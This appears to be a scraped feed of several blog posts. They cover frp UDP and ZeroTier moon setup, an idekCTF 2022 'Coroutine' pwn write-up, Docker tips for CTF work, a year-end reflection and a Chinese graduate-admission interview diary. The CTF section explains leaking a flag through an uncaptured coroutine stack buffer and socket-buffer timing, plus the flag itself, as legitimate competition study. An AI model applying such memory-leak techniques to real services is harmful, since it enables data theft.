,随后 9992 端口上的 echo server 就会把该数据包原样返回。只要 host 能在发送 UDP 数据包后原封不动的接收到 UDP 数据,即可证明双方 UDP 收发功能正常。
这一步可能会有一定概率失败,失败的原因主要有两个(都是本人遇到过的):
Frpc 公网中转服务器所分配的端口号过大,例如分配了 50000+ 的端口号。过大的 UDP 端口号可能会被路由策略过滤,只能重新申请分配新的 UDP 隧道或者更换中转服务器节点,来降低所分配的 UDP 端口号。
本人测试 UDP 端口号 < 30000 基本上没有出现过问题。
复杂或受限网络可能会限制 UDP 数据包的收发,例如校园网。本人连接校园网后实测无法收发 UDP 数据包,但切换为手机热点就可以通过 UDP 测试。
如果想测试 9993 端口的收信功能则可以使用命令:
sudo tshark -i any udp port 9993 and src host 192.168.x.x
UDP测试完成后记得把隧道端口号改回 9993。
关于 Zerotier Moon 搭建网上教程是非常多的,基本上都是大同小异。可以参考这个 搭建ZeroTier的Moon服务器小记 - dengzile
Moon 服务器:
1 | # 0. 切换工作目录 |
windows (本机),使用管理员权限打开 cmd:
1 | # 0. 切换工作目录 |
这种下发 moon 文件的操作应该是可以通过
zerotier-cli orbit
命令来实现,但本人在实际测试的是否发现 orbit 可能会失败,即没能成功下发 moon 文件,不太清楚是哪里有问题,因此最终还是手动下载了一下。不过这个问题并不重要,只是随口提起。
重启本机 Zerotier 服务后再运行 zerotier-cli peers
,可以发现 Moon 节点以及和 Moon 相近的节点全部从 RELAY 中继变成了 DIRECT 直连:
配置 moon 前:
sshping 延迟平均高达 300ms,操作 ssh 一卡一卡的。
配置 moon 后:
sshping 的延迟降低到了 100ms 左右,ssh 操作明显的流畅起来了。
Last weekend I participated in idekCTF 2022
with r3kapig. After briefly browsing other pwn challenges, I tried to solve Coroutine
and finally solved it (4 sovled in total).
Now, let’s dive into this challenge!
What’s the coroutine ?
A coroutine is a function that can suspend execution to be resumed later. Coroutines are stackless: they suspend execution by returning to the caller and the data that is required to resume execution is stored separately from the stack. This allows for sequential code that executes asynchronously (e.g. to handle non-blocking I/O without explicit callbacks), and also supports algorithms on lazy-computed infinite sequences and other uses.
As we have seen, coroutines are executed in a single-threaded environment, and can be paused as needed during execution (e.g. waiting response from peers) and finally find a suitable time to resume execution (e.g. receive the reply from a peer).
What does this mean?
co_await
statement. (e.g. current thread id)User can interact with proxy to change the proxy receive buffer size and send buffer size. Interestingly, we can also find that the size of the program’s send buffer is manually set to 128 byte. These indications suggest that the vulnerability is most likely related to the socket buffer size.
1 | int sendbuff = 128; |
After reading the source code carefully, we can know that the program is act as echo server, reading the messages from proxy and send back:
create and execute the coroutine. In the coroutine, program will accept client connection and run into client_loop
to repeatedly receive and send messages from client.
If program cannot receive the message from client (e.g. there is currently no data from the client), or cannot send the message to client (e.g. socket buffer is full), the coroutine will save its own coroutine-handler and suspend its own execution, returning to the caller:
1 | class RecvAsync(SendAsync) : NonCopyable { |
The program will run into io_content::run_until_done
,monitor the file descriptors with select
, and resume the execution of corresponding coroutine if any file descriptors are available.
Interestingly, in the loop of run_until_done
, the program will execute load_flag
to load the flag into the stack.
1 | void load_flag() |
I was interested in how the coroutine captures the context, so I modified the code and printed out the addresses of all the buffers. Here are some code snippets.
1 | Task<bool> client_loop(io_context& ctx, int socket) |
Output: client_loop buffer before RecvAsync: 0x5603212fff89
This output indicates that the buffers in the coroutine will be created in the heap. In other words, this entire coroutine function is actually equivalent to a heap structure. This is the reason why a coroutine can suspend and resume execution at different times, because it preserves the context when it is created.
However, after carefully checking each buffer’s address, I found that the coroutine did not capture the buffer2
in function SendAllAsyncNewline
. In other words, the address of buffer2
is located on the stack, which is not far from the memory location storing the flag (< 512 byte, 0x200).
1 | void load_flag() |
Output:
SendAllAsyncNewline buffer: 0x559806712f89
SendAllAsyncNewline buffer2: 0x7ffc1ddfd3a0
load_flag: 0x7ffc1ddfd480
And SendAllAsync
will also send data multiple times:
1 | Task<bool> SendAllAsync(io_context& ctx, int socket, std::span<std::byte> buffer) |
If we can carefully interact with proxy, we can leak the flag by the following process:
SendAsync
execution intervals in SendAllAsync
, returning the control flow to run_until_done
by filling the socket buffer in advance.load_flag
function to load the flag into stack memory, which happens to overlap with buffer2
.buffer2
to the client. Since we have loaded the flag into buffer2
before sending, the flag will be output along with it.Once you have found the threshold for sending data length in docker, all the difficulties in challenge are solved.
Note: you can find the sending threshold more easier by modifying the source code, as you wish.
1 | # -*- coding: utf-8 -*- |
You can read the flag idek{exploiting_coroutines}
in the proxy receive data.
In fact, I did not write any python script for exploit when solving this challenge. Instead, I was interacting directly with the remote server using nc
. So I wrote the above exploit script based on previous interaction logs.
每次玩玩 CTF 时总是会因为 Docker 速度慢、忘记命令等等使自己非常抗拒启 Docker 环境,但是没有 Docker 环境实操题目就又成了纸上谈兵。
因此趁着 RealworldCTF 5th 来熟悉并记录一下 Docker 的使用,感兴趣的 pwn 手可以一起实操一下 docker。
docker image list --all
:查看各种 image
1 | ➜ docker image list |
docker image rm <image-id>
:删除特定 image
docker container list --all
:查看当前所有容器。
和
docker ps -a
等价。
docker container rm <container-id>
:删除容器
和
docker rm <container-id>
等价。
docker build -t <name> .
:构建当前目录下 Dockerfile 的 image,并将该 image 命名为 <name>
docker run <args...> <image-id> [cmd]
:从 image 构建出新的容器,并执行 cmd (如果有)。
docker start -i <container-id>
:在交互模式下启动容器。
docker stop <container-id>
:停止当前正在运行的容器。
docker save -o <export_fspath> <image-id>
:导出 image 至文件路径 <export_fspath>
处
docker load -i <import_fspath>
:导入外部 image 文件至 docker 中。通常这两步导入导出和 docker tar 有关。
docker exec -it <container-id> <cmd>
: 在某个正在运行的容器中执行命令
在非运行状态下容器执行命令则需要先用 docker start 启动容器再去执行 docker exec
Docker 换源
sudo nano /etc/docker/daemon.json
写入以下内容
1 | { |
上面那个奇怪的阿里云镜像地址是 阿里云镜像加速器专属地址。这里我直接抄了别人的,反正还有其他几个源,这个不行其他还能继续用。
重启 docker 服务
1 | sudo service docker restart |
注:如果宿主机能连接网络但是 docker 无法连接, 则重启docker服务就能解决该问题。
Dockerfile 替换 apt 源
默认 apt 源的下载速度非常感人,因此需要额外添加几句来替换默认 apt 源。
1 | RUN cat /etc/apt/sources.list |
Dockerfile 替换 pip 源
在 Dockerfile 中添加以下代码:
1 | RUN mkdir ~/.pip && \ |
Dockerfile 网络加速
github 加速:可以使用 GitHub 文件加速 网站来生成加速后的 github 文件下载链接。
Docker 配置代理:可以参考这个 Docker 配置网络代理 - CSDN
Dockerfile 构建 image
在 Dockerfile 所在文件夹下,运行 docker build -t chal .
以构建 docker 实例。
这里指定了构建好后的 image 名称为 chal
,便于后面启动实例时指定名称,而不用再去查找 image id。
构建 Docker 容器并启动
1 | # -i 交互模式 |
例如
1 | docker run -it --name paddle_chal_container paddle_chal:latest |
如果 docker run 末尾不额外携带运行的命令,并且 Dockerfile 中带有 CMD 命令(例如
CMD ["python", "web_service.py"]
),则 docker run 将会自动运行该命令。
注意,最好不要通过在 Dockerfile 末尾添加 CMD ["/bin/bash"]
来启动终端,因为这样启动的终端退格键将被转义无法使用。
当通过 docker run 成功构建并启动容器后,该命令将不可再被二次执行(因为该命令包含了构建容器这一步,而现在容器已经构建好了),后面想再启动所构建好的容器,则需要执行 docker start -i <container>
。
可以参考 docker run - 菜鸟教程 查看更多参数信息。
如果有小小伙伴想自制 Dockerfile 则需要了解一下其中的各个命令。
这里直接参考这个 Dockerfile格式以及Dockerfile示例 - 阿里云开发者社区,非常全面,我就不再贴了。
CTF 调试最重要的无非两步,调试器和编辑器。
先启动一下 docker 容器:
1 | # 启动容器。这里没有指定 -i 交互模式,因此容器将进入后台运行 |
bash 执行成功后不会有任何提示,需要自行输入 whoami
等命令来测试是否已经成功。
不要使用 ls 来测试,因为可能当前文件夹下没有文件,误导人判断错误。
首先是调试器,这里直接在 docker 中执行安装 pwndbg 的过程即可,无需将这个安装过程写到 dockerfile 中:
1 | # 此时是 root 权限,因此无需 sudo |
这里首选 VSCode,VSCode 中包含了丰富的 Docker 插件可用于管理与处理容器。
参照 VsCode在Docker中进行开发 - 知乎,在 VSCode 中安装 Docker
和 Dev Containers
。
安装好后即可直接通过宿主机的 VSCode 来附加至 Docker 容器中:
]]>在阅读论文的这段过程里,我慢慢对安全研究有了更深层次的体会。之前一个老师和我说,“挖洞不是安全研究,研究研究,研究的对象应该是一个有规律的东西,例如数学物理等”,当时的我尚未明白。直到现在,我们慢慢了解了,其实安全研究,本质上是研究某些东西或某些领域如何做的更好,达到更好的效果,例如 fuzz 出更好的覆盖率或者提出更好的防护手段。
而挖洞,与其说是研究,更不如说是在现有安全研究的成果之上,所进行的一种行为。例如 e9afl 基于 e9patch 这一个安全研究的产出,对闭源产品进行插桩 fuzz,完全达到开源代码插桩 fuzz 的效果。
这样看来,安全研究确实是有规律的,比如这周刚刚看完的 healer(一个 kernel fuzz)。
这样一条 提出问题->解决方法->实现过程的链就这么串起来了。
实际上,个人认为安全研究和挖洞应该是相互包容的关系,不可分割。企业中安全研究的这个职业,我们通常指的是挖洞选手。而要想挖出别人没挖到的二进制漏洞,那就必须深扎安全研究,将某个新颖想法从提出变成实现。而安全研究也常常需要**几十个 CVE或挖到了更难挖出的洞(或别人挖不出的洞)**来证明某个成果的成功性,现有的漏洞猎人也是站在当前安全研究的进度上进行漏洞挖掘,例如 Address Sanitizer 这个相当优秀的内存检测工具,在现在的二进制挖洞环境下,处处都有它的影子。而它也曾是通过安全研究所提出来的一种简单想法,并最终逐步发展成一个非常完备的工具。
我曾在读研深造和直接就业这二者间徘徊过,不过随着暑期玄武的这段经历以及后续我阅读论文慢慢产生的一点想法来看,我已经逐渐坚定了自己读研的方向,想再潜心搞搞三年安全研究,尤其是漏洞挖掘与防护。个人认为读研不能为了读研而读研,没有目的的读研其实没有什么意思,而且很容易荒废掉自己的时间。在确定了自己的目的与方向后,我相信未来的研究将会充满着乐趣,因为研究自己感兴趣的东西是真的很容易上瘾(兴趣驱动型)。
不过虽然我站在现在的角度上理这一整套想法,可能还是存在着较大的局限性,但是我还是想把这段话留在这里,也算作一个标志。在未来的某个阶段我再回头看看当时的想法,说不定又有什么全新的体会。
第一次写年终总结,有点不知道咋写,搓手手,就按照流水账的形式想到啥写啥吧。
上面这段是我在2021年年底有感而发写下的内容,可能有些水话或者自己也说不太清楚道理的语句(笑),随便看看。当时的我也曾在就业和升学中徘徊,之前想升学主要是有保研名额,不升学白不升;后来也在腾讯实习期间动摇过是否就业也是种选择。2021年年底从腾讯回来后紧接着就是准备搞科研(大三上学期),当时搞科研也是稀里糊涂,纯粹是因为大家都搞了所以就跟着大流联系老师搞,因此大三上学期的校内科研精力其实没有太多激情,感觉自己也不知道在搞什么(老师可能也比较头疼怎么安排任务hhh)。但这段时间确确实实让我有了更进一步阅读论文的契机,让我开始慢慢习惯阅读论文。回想起大二寒假第一次实习时,单单精读一篇论文汇报就花了有半个月的时间,现在确实小有进展。
后来2021年11月底,我准备了半个月的文书,读了一些论文,申请了清华网研院的科研实习。当初也因为很多原因踌躇过,犹豫过,但最后还是一句“不试试怎么知道呢”,投递出了实习申请。那段时间为了一篇文书、一份简历找了很多老师同学等寻求修改意见,也读了心仪导师相关工作的几篇论文,写了笔记,只为能让邮件中*“对老师目前的研究有了进一步了解”*这句话尽可能的真实。不过幸好,结果是好的,我成功申请进入 NISL 参与实习。(这里需要感谢一下我的神仙导师)
2022年上半年的时间基本上都花在了课程任务与科研实习上。这半年时间过得还算惬意,上完课回来就帮帮学姐做做实验,要是空闲的话打打 CTF ,研究一手新技术,或者看看论文啥的,还在学姐的鼓励下在 NISL 公开学术沙龙中做了一次论文分享。不过令我感到惊讶的是,因为我博客一直都在维护,5月份时我收到了华为 HR 的实习邀请、清华 ucore 作者的邮件联络;9月份时收到了上交 GOSSIP 组的实习邀请,以及10月份Water Paddler国际CTF战队的邀约。这些都是我曾经从未经历过的,惊奇之余也激励着我继续向前。
下半年的时间主要聚焦在保研流程中。准备材料、投递夏令营、准备洛谷机试等等,具体细节不一一做表。保研的这几个月也是折腾了很久,最麻烦的就是填写每份材料并投递出去,同时也要多发邮件联系老师寻求机会。不过索性结果还算顺利,虽然机考炸了只吃了个低保分,但硕士排名位于15/20 还是成功保研去清华网研院攻读硕士。结果出来的那一刻心里古井无波,已经没有了悲喜,只是感慨保研终于结束了。女朋友也保研去了北航,和清华仅仅隔着一条街,硕士入学后买辆小电驴就可以经常快乐相见了。
这一年主要面对着对保研的迷茫与压力。接下来,当决定了未来三年的去向、决定了自己接下来的研究方向后,后面的旅途也变得不再迷茫。但压力也确实是有的,来自多个方向的压力推着我,让我如履薄冰,不敢停下。保研结束后我也感受到自己的精力不再像是前两年那么充沛,这之中可能有心态的变化,但我更觉得跟长期熬夜导致的身体条件有关。年轻人要多锻炼少熬夜,只叹自己虽知但不容易做到。
长风破浪会有时,直挂云帆济沧海。2023年是新的一年,希望自己可以在新的一年中将自己的科研工作做到更好,同时也挖到更多的洞,在安全这条路上走得更远。
共勉。
]]>这里记录着本人 2022 年秋季保研求学的经历。
考虑到各个院校的保密需求,这篇经验帖在推免生填报系统关闭后的一段时间发布。
学校:末流985
专业:信息安全
GPA: 3.79/4.00
排名:1/42
奖项:一些校级和省级奖项,一个国三水奖;有国励,无国家奖学金。
本专业每年只有一个国奖,年年国奖不是同一个人,年年国奖第二名都是我。本科永远的痛 T_T
实习经历
科研经历:大三年大半年的清华网研院实习。实习期间主要参与对比试验的进行、部分论文的撰写以及另一个项目的代码编写。
论文:清华实习期间混了篇 Usenix Security 2023(安全国际四大顶会之一) 在投论文 三作。
项目:无科研项目,有一个产出较多的 Fuzzer,挖掘到诸多知名厂商的漏洞,获得过漏洞致谢和较丰厚的漏洞赏金。
科研兴趣:软件与操作系统安全
目标:华五往上学硕。
不考虑专硕,几万几万的学费掏不出来(本科每年 8k 学费都要死要活的,几 w 学费怕不是要砸锅卖铁)
不考虑直博,直博目前没有想法,不能为了冲院校而直博,这个得慎之又慎。
粗体标注了一些个人认为略微可以算是重点的东西。
最终去向:清华大学网络科学与网络空间研究院。
院系 | 入营情况 | 备注 |
---|---|---|
北大计算机 | 没入 | 材料晚了一天提交,没交上(绝了) |
北大软微 | 入营 | |
北大信工 | 没入 | 可能要联系导师 |
清华深圳研究院 | 没入 | 可能要联系导师 |
清华网研院 | 没入 | 优先进直博,至于硕士可能是冲的人太多了,院校 title 不好被筛掉了 |
复旦计算机 | 入营 | 纯纯的只按照院校 title 和 rank 筛,入营送衣服和本子 |
国防科大 | / | 报了就没再管了 |
哈工深 | 没入 | 今年 bar 感觉格外的高 |
华科计算机 | 没入 | bar 高 |
南大计院 | 入营 | 听说 1k 人的大海营 |
南大软院 | 入营(放弃) | 时间和南大计院冲了 |
人大信科 | 入营 | 筛人不纯粹按照 title 和 rank,而是会结合自身经历等等来筛,非常的有意思。 |
上交软院 | 入营 | |
武大网安 | 入营 | |
中科大网安 | 入营 | 听说 985 bar 低稳进,入营送大礼包(但是后期鸽掉中科大夏令营则得为大礼包付费) |
中科院计算所 | 入营 | 入了但退出面试 |
中科院信工所 | 半入营(放弃) | 入了但是感觉没筛人,而且学校放假材料要盖章,同时也入了一些不错的学校,就没再管了 |
总结:
还是太菜了…
整个夏令营高峰期差不多是两周左右,以下按面试时间排序。
复旦入营是纯纯的卡 title 和 rank,只要 title 好 rank 够就直接放你进去,实习经历科研经历论文啥的在入营阶段是一点也不看。
入营的营员都会发一件文化衫和一个复旦的本子,比较友好。
不友好的是发的文化衫我穿不下(就不能先统计一下吗,捂脸)
复旦今年入 300 人,但是可能只招收 50 个左右,最大头的招生部分还是留在了预推免。
复旦大学的时间貌似一直都是这样摊的比较开,不过幸好它比较早开营,没怎么和其他学校撞上。
复旦入营就会寄一件文化衫 + 本子。开幕式的时候要求全体营员身穿文化衫,一批一批集体合照,但问题是…
复旦的机试一直都和其他学校不太一样,2小时3道题,自己编测试样例然后测试,提交时把自己写的题解(包括解题思路、时间复杂度、自己编写的测试样例等等)和代码打包交上去。提供的 OJ 只能反馈是否 Compile Error 或者 Submit,其他的都无法反馈。
第一题我用的图拓扑排序,第二题要用单调栈+线段树,第三题有点类似与背包问题,应该要用 DP。当时只做出来了第一题,第二题卡太久时间结果愣是没做出来。
英语面试的问题和自己的自我介绍高度相关,貌似英语面的时候那边没有考生的材料,有点奇怪。面试的时候是一个老师以及一个有点像是研究生的学姐在面,整个过程一直都是学姐提问,老师没问问题。
自我介绍里提了一句辅助完成论文的编写,后面的英语问答全部都是问这方面的(捂脸)。例如问了:
等等,答得也只能说一般般,先前准备的英语模板问题根本没用上。
专业面试是五个老师面,每个老师都会问问题。问的问题主要围绕我的腾讯实习经历、fuzzer 工具、408、机考题等等,总体还是围绕自我介绍。
这里要插一句了,看上去面试的老师好像真的没有考生的相关材料,感觉有点奇怪。
408 主要问的我操作系统缺页中断相关的内容,以及 http 和 https 的差别,还有 https 在什么情况下会被中间人攻击等。
机考题问了我第二题怎么做。机考题应该是必问项,有的同学会被问第三题有的会被问第二题,因此即便当时机考时做不出来也要事后立即求助他人去了解剩余不会做的题目的做法。
老师会专门问一下有没有科研项目,我那个 Fuzzer 不能算是科研,但是我也只能把它捞出来说了。边上有个老师提问这个工具挖到的漏洞有没有漏洞证明啥的,我说有,拿到了几个 CVE 编号和漏洞赏金。还问了一下这个是怎么检测到漏洞的,我就把 Address Sanitizer 搬出来简单扯了两句。
整体上答得还行。
寄了,连 waiting list 都没有呜呜。后来仔细想了一下应该有几种原因:
仔细想想还是第三个原因可能性更大一点,因为面试的时候好像那些老师对我的内容不太感兴趣,一度出现了没什么老师想问问题的沉默尴尬局面。
人大信院是最早开放夏令营报名的(5月20日截至),因此被冲烂了,报的人太多。先前说六月中旬出结果,结果六月中旬了之后还没出来,通知最上方的是一个叫做王老吉奖学金推荐情况公示的通知。因此很多绿群群友就戏称人大信院为王老吉。
这个王老吉公示的浏览量我是看着他从 200 变成现在的 8k+ 的,被冲烂了已经…
人大先前以为报的人太多,筛材料的时候会把自己筛掉,结果后来竟然入营了,真是意外之喜。看来人大应该是会综合材料来筛选,不是简单的 title + rank 筛法。
人大是一个小而精的学校,学校虽然不大但是地理位置真的就是在黄金地带(中关村),因此去人大确实非常的赚。(而且人大这几年计算机一直在高速发展)
7.3 下午人大信院专业面试。
人大还有笔试,可以用 CSP 抵。有笔试就有模拟环节,不过我用 CSP 抵掉了就省略了这两个环节,不然就和南大笔试冲突了。今年 CSP 300 抵的分数没有去年多,本来以为抵掉就亏了,不过貌似今年的笔试题比去年要难很多,实际上还是赚了。
人大考核受限于保密条例,不会在这里说明更多细节,只能说点自己的经历。(人大对面试题的保密性要求非常高,面试前强调一下,面试后又强调一下)
英语面是我面的最差的一次,磕磕绊绊几秒钟卡一下然后蹦出几个单词,主要还是有点紧张,就没答上来。这个环节可能是因为比较难,所以分数占比应该会稍微比较高(猜测)。
后面的面试就没啥了,比较顺利,老师也不会为难你。只要你完成回答后半秒内没有继续回答,老师就会直接切换到下一个问题,不会继续刁难,非常舒服。
面完后的那个晚上,面我的那个导师打电话联系我并简单的聊了聊相关的工作(声音很好听人也挺大牛的)。因为我本科阶段在模糊测试方面接触的比较多,老师也希望我能来人大。不过他也坦言导师在面试过程中的影响很有限,主要还是看自己。
面试结束后的记录:
一个字,寄!可能还是英语面太拉跨了,同时竞争压力也有点大。原先信安是 25 进 2,结果笔试的时候筛掉了一部分,实际上参与面试的就只有 15 个左右。
只希望自己排在 waiting list 靠前的位置,这样应该能候补上。按照往年的情况,人大信安这块可以候补到第七左右。
人大结果出的很快,它是分的三天来面试,分别面直博、学硕和专硕。面完的第二天就会发邮件,例如在人大面专硕的那一天就能收到学硕的邮件(如果有)。
后续:好家伙,还真给我发优营了,真是太感动了。今年信安优营有 3 个,真是让我感动的不行。
北大软微今年貌似是第一次开夏令营,先前都只有预推免,因此很多人猜测软微这是要搞什么大动作。
首先是材料递交申请,软微会先筛掉一部分材料不合格的,之后让材料合格的同学选择一篇论文做一个文献阅读笔记,之后专家再来根据这个笔记筛选。等这个流程全部都通过后才算是入营,今年入营 212 人,只有一半能留下。
论文选择主要有五个方向,选的那个方向的论文读就是你最终选择的方向。五个方向分别是:
下面三个方向不考虑。我本来是想选第二个方向的论文的,但是那个方向列出来的论文我看着难受,一半都是机器学习,剩下的有区块链什么的,因此我最终选择的是方向1中的一篇,将污点分析技术与大数据引擎结合来进行隐私保护的论文。
文献阅读笔记要求至少 1.5k 字,但是很多 2k 字的都没入营,入营的我简单统计了一下基本上都是 4k 字往上走(包括我)。
个人感觉这不是卷,只是因为 2k 字实在太少了,不好描述论文讲的内容。
之前的北大软微以就业为导向,去那边的基本上就是面向就业,因为可以放实习,很多同学过去后都可以实习一两年,非常舒服,甚至绿群里流传着《软微圣经》这样神奇的东西…
但是!从今年开始,一切都变了。今年面向推免生的软微,要面向科研方向招生。换句话说,今年招的专硕不再是普通工程硕士,而是前沿工程硕士,招专硕过去搞科研但没有论文指标,看的总感觉有点奇怪。
今年软微招生的老师有一半是来自于北大信工那边的老师,挺多老师的实验室设立在燕园(北大本部)。因此对于方向1来说(我只知道方向1),软微3年 = 大兴 1年 + 1.5年北大燕园科研 + 0.5 年实习。
燕园科研学校不会分配住宿(人家本部自己都住不下了怎么会分给别人…),因此软微等要去燕园做科研的话,学生要自己找房子租,不过院系补贴 2.5k + 老师实验室科研补贴应该可以涵盖燕园房租(房租大概3k+),因此实际上还算挺香的,就连北大信科也是在昌平那么偏远的地方。
非常罕见的是,今年软微院长说没有开预推免,软微会把入营的营员都放入 waiting list 中以防止鸽穿。
不过这个看具体方向,有些方向的老师就说不准备 waiting list 了,鸽穿就鸽穿。
我寻思着应该是他们在信科也有招生名额,不缺软微这几个,所以很有底气。
面试的话要准备一个自我介绍 PPT,像老师展示自己的实力。面试的 j 老师非常的和蔼,整体上面试非常的轻松愉快。
英语面试真就是走个过场,老师问我你还报了哪些学校的夏令营,我说我报了复旦的夏令营,但是被他们拒绝了;我还报了清华的夏令营,但是连营都没入(捂脸)。
但是!面试老师说,我的专业性太强了(因为我本科阶段主要还是搞的软件安全,并且出漏洞了),他们方向1这边主要还是做系统软件。j 老师挺想收我的,但是他是之前搞得安全,现在已经不搞了,因此把我推给了方向2的老师。
结果方向2老师没有打电话给我(导师会打电话发 offer 确认学生来不来的)。面试完的第二天晚上 j 老师给我打了个电话,以为方向2老师已经给我打电话了,结果没有,怪尴尬的(捂脸)。后来我又主动发邮件 + 找学长内推方向2的 s 老师,结果石沉大海,我估计软微要寄。
一直没收到方向2老师的电话,是真的寄了… 看着隔壁计科专业 rk1 rk2 分别上岸 pkucs 和 thusz,属实是羡慕极了。
优营名单出来的那一刻还是写了封邮件给 j 老师,希望后面要是有鸽子就考虑一下我。
可惜没拿到 pkuss 保底。
今年 pku 计算机和深圳研究院都是弱 com,只要有老师要你就可以上岸。可惜当时从哪里听说 pku cs 是强 com,所以就没联系导师,可惜。
虽然软微今年面向科研招生,但是实际上也有一些不怎么管学生的导师,跟着他们应该还是和之前一样能去实习。
上交软院想冲一下 ipads 实验室,那边搞系统真的是非常的强,可以说是国内搞 OS 最强的实验室。x 老师学术能力非常强,而且和蔼,还帅(滑稽)。四月末的时候发了个邮件尝试联系他,收到了一个标准回复。
不过没想到的是他竟然真的翻看了我的博客,而且还因为我博客中记录了关于 uCore 课程的笔记(uCore 课程笔记我记的贼详细,可以说应该没有人在 uCore 上的笔记比我更详细了),于是就把我的博客推给了 uCore 作者之一——清华大学计算机系 chyyuu 老师,之后…
属实是把我感动到了呜呜。后来和 chyyuu 老师打了个电话唠嗑唠嗑,简单聊了聊这方面的内容,也为我增加了点夏令营的信心,挺感谢这两位老师的。
开营那天上午,我赶着去自习室准备听开营,结果电动车出车祸了撞人了呜呜,那天上午便带着伤者去医院检查,开营完全没听。后来听绿群群友说,ipads 只招收推免生 5-7 个左右。虽然 2021 年招收了这些人:
但是实际上里面也有些考研、联合培养啥的,推免生招的确实很少,竞争压力非常激烈。
而且交软入营的人大概有100出头,一开始报 ipads 的就有 50+,可想而知这里面的竞争是有多激烈…
上交软院的机考出了名的具有特色,是种超大型模拟题(能做3小时的那种模拟题)。今年的模拟题主要是要手动实现机器学习中的决策树,不涉及图形界面,难度稍微降低了点。不过我的做题策略有点问题,我是先把代码写的差不多之后再来做测试,因此后面时间来不及测试完全部代码,只测试了一半的代码,不知道机考会怎么算分。
在机考前,交软会发放 VPN 账户和远程虚拟环境的访问账户和密码,要求我们自己去配置交软远程机器的环境(自己配置 IDE 等)。后面机考的代码编写全都要起一个远程桌面连接,在远程环境下完成,并且在远程桌面下录屏。
远程环境的配置:CPU 至强系列,内存 16 GB,磁盘空间 80 GB,也算够用,我装了 Visual Studio、VSCode、PyCharm 等,还拷贝 C++ 文档、Python 文档至远程环境上,后来发现只用上了 VS,文档啥的完全没用上。
但远程环境也有点问题:
上交机考原定是 15:00 开始,但是由于一直都有同学无法连上远程 VPN,因此一直拖到了后面大概 16:30 才开始。那天下午机试正好和软微面试冲突了,原来是打算先面完软微后再来迟到的参与上交机考,但是那天真就非常巧合的遇上了 VPN 连接失败的事故,以至于面完软微后刚好可以参与上交机考。但同样非常巧合的是,那天软微是最后一个面我的(简直绝了…)。
我所在的那个云考场老师之前说得等所有人进了考场后才能发放题目,我面完软微后就紧急去问绿群群友他们的监考老师手机号,然后打电话找到了我所在的云考场会议号,接下来才开始机试,属实是感动到了。
机考分数没到 60 将不能参加后续的面试。
ipads 的面试和往年一样,看论文然后到时候提问。面试流程大概是先用 PPT 介绍一下自己,然后中间提问论文最后英语面。
面试的老师非常的和蔼随和,但是问题是真的刁钻…
一开始我以为提问论文是考验你对论文的熟悉程度,于是考前读了两遍论文并且熟悉论文中的每一个点,就连评估那块的数据我都差点背下来了。但是老师提问的是对论文的科研开放思维,例如你觉得某某检查应该放到哪里来检查,硬件还是软件;某某东西在论文里是只能在一个 CPU 上做的,但我要是想让他在多个 CPU 上并行处理,你觉得该怎么做等等。其他人问到的问题我不太晓得,但是我问到的问题都是这种非常开放性的东西。
真的是完全答不上来…哑口无言属于是。主要是那些问题不是可以脱口而出的东西,需要花些时间理顺逻辑,不过在当时的情况下已经没法暂停思考了,只能想到什么说什么,已经白给了…
英语面的时候让我用英语介绍一个自己的项目,随便介绍一个,我就挑了先前混的那片论文简单讲了讲。
面的时候老师着重的问了我的代码能力,我说那个 Fuzzer 2w 行代码我写了大概 1.2w 行这样。
整体面试还是非常轻松愉快的,总时间卡死 20 分钟,答不上问题老师会引导。只能怪自己还是太菜了呜呜…安慰自己喜提 ipads 面试体验卡。
上交无论什么院的考核,结果都是八月底出,这个和其他学校不太一样。其他学校都是面试后的一周内甚至三天内出,上交就会慢一点。直博出的比直硕早,大概八月中旬前就会出,貌似比较水(看院系)。
不过无所谓了,反正面试比较惨,排名应该会很后面,面完已经开始摆烂了。
而且通常来讲,上交软院的名额会优先分配给已经进组实习的同学(猜测),因此对于外校生来说,想拿到学硕的可能性会更低。
以及,骑电动车要走绿道呜呜赔惨了。
果然,后来发邮件给了个替补第六,约等于寄。
武大网安当初是随便报的一个,感觉自己可能大概率不会来这里,不过还是为了刷刷面试经验就报了这个。
7.11 下午 开营(没听,因为在进行软微面试和交软机考)
7.12 专业面试(我排到下午了)
7.13 上午闭营
武大网安的面试顺序是在群视频中直播抽签过程,整个过程非常快,我刚好轮到下午。
面试的时间非常短,一个人大概也就七八分钟,我是下午第6个,结果大概开始面试35分钟后就轮到我面了 … 当时我设备啥的还在调试,非常凑巧就赶上了。
武大网安面试的方式是最奇怪的一个,监考端用腾讯会议(没啥问题),但是面试端用 QQ 视频,这个就有点神奇了(捂脸)。
问的问题主要是围绕那片三作论文以及 Fuzzer 工具,应该是面向论文和项目提问。
问的时候问了我:**你有什么奖项吗?**这个属实是我的缺点… 回答:我在竞赛方面没有特别突出,只拿了一些校级和省级奖项(捂脸)。
优营,不过我放弃掉了,因为在出最终优营名单之前中科大 offer 下发了,所以想赶紧释放武大 offer 尽可能地把机会留给后面的同学。
7.4 下午:南大模拟面试
7.7 下午:南大笔试
7.13-7.14 专业面试
南大今年貌似开了千人海营,因此要通过笔试筛掉一大半。笔试 1小时 81道题(单选多选题都有,纯选择题),多选题多选漏选错选均不得分,设计的考点包含数据结构、读代码模拟执行的结果、计网操作系统啥的,还有 linux 相关的题目。涉及的考点非常复杂,覆盖面非常广,不只 408,还有 Java lambda 表达式的字节码是什么表示等这种奇怪题目。
笔试很具有区分度,筛掉了一大半的人(听说是 2k 进 200,小道消息),感觉笔试就是筛选那些运气和基础不错的学生(捂脸)
南大要求在院系面试前自己选择参与众多实验室的面试,因此我选择了唯一一个搞漏洞挖掘的实验室——SecLab。
Seclab 的 m 老师也非常的强,在很多学校都做过学术报告(本人有幸在清华实习期间聆听过 m 老师的报告,很有意思)。
虽然在实验室面时没有见到 m 老师,但实验室面时那几位面我的同学也是非常的 nice,有一位博士生还是最强大脑选手(膜拜)。
最后面的都很开心,结果后续院系考核寄了,属实是无语住了…
运气好过了笔试,结果面试是真的硬核…网上找了一圈都没看到什么南大面试的面经,我是第二天面的,根据前一天绿群群佬的面试经历来看,南大会比较喜欢考离散数据结构。但是这两天被车祸事故折腾的要死要活的,一点都没准备,结果面试直接寄了… 属实是祸不单行(捂脸),只好安慰自己祸依福所依,福依祸所伏了…
面试流程大概是这样:
面试不问项目不问经历不问科研不问自我介绍,就纯纯的问专业课。
进去之后,第一问,请你用英语,描述 Kruskal 算法解决了什么问题,算法过程是什么样的,开销是多少
是不是很硬核,捂脸,答得巨烂。
之后的问题都是中文。先问离散再问数据结构,最后问了个操作系统的题目以及一个开放题。
南大面试貌似非常注重离散数学,因此最好要多复习复习。(我就吃了这个亏)
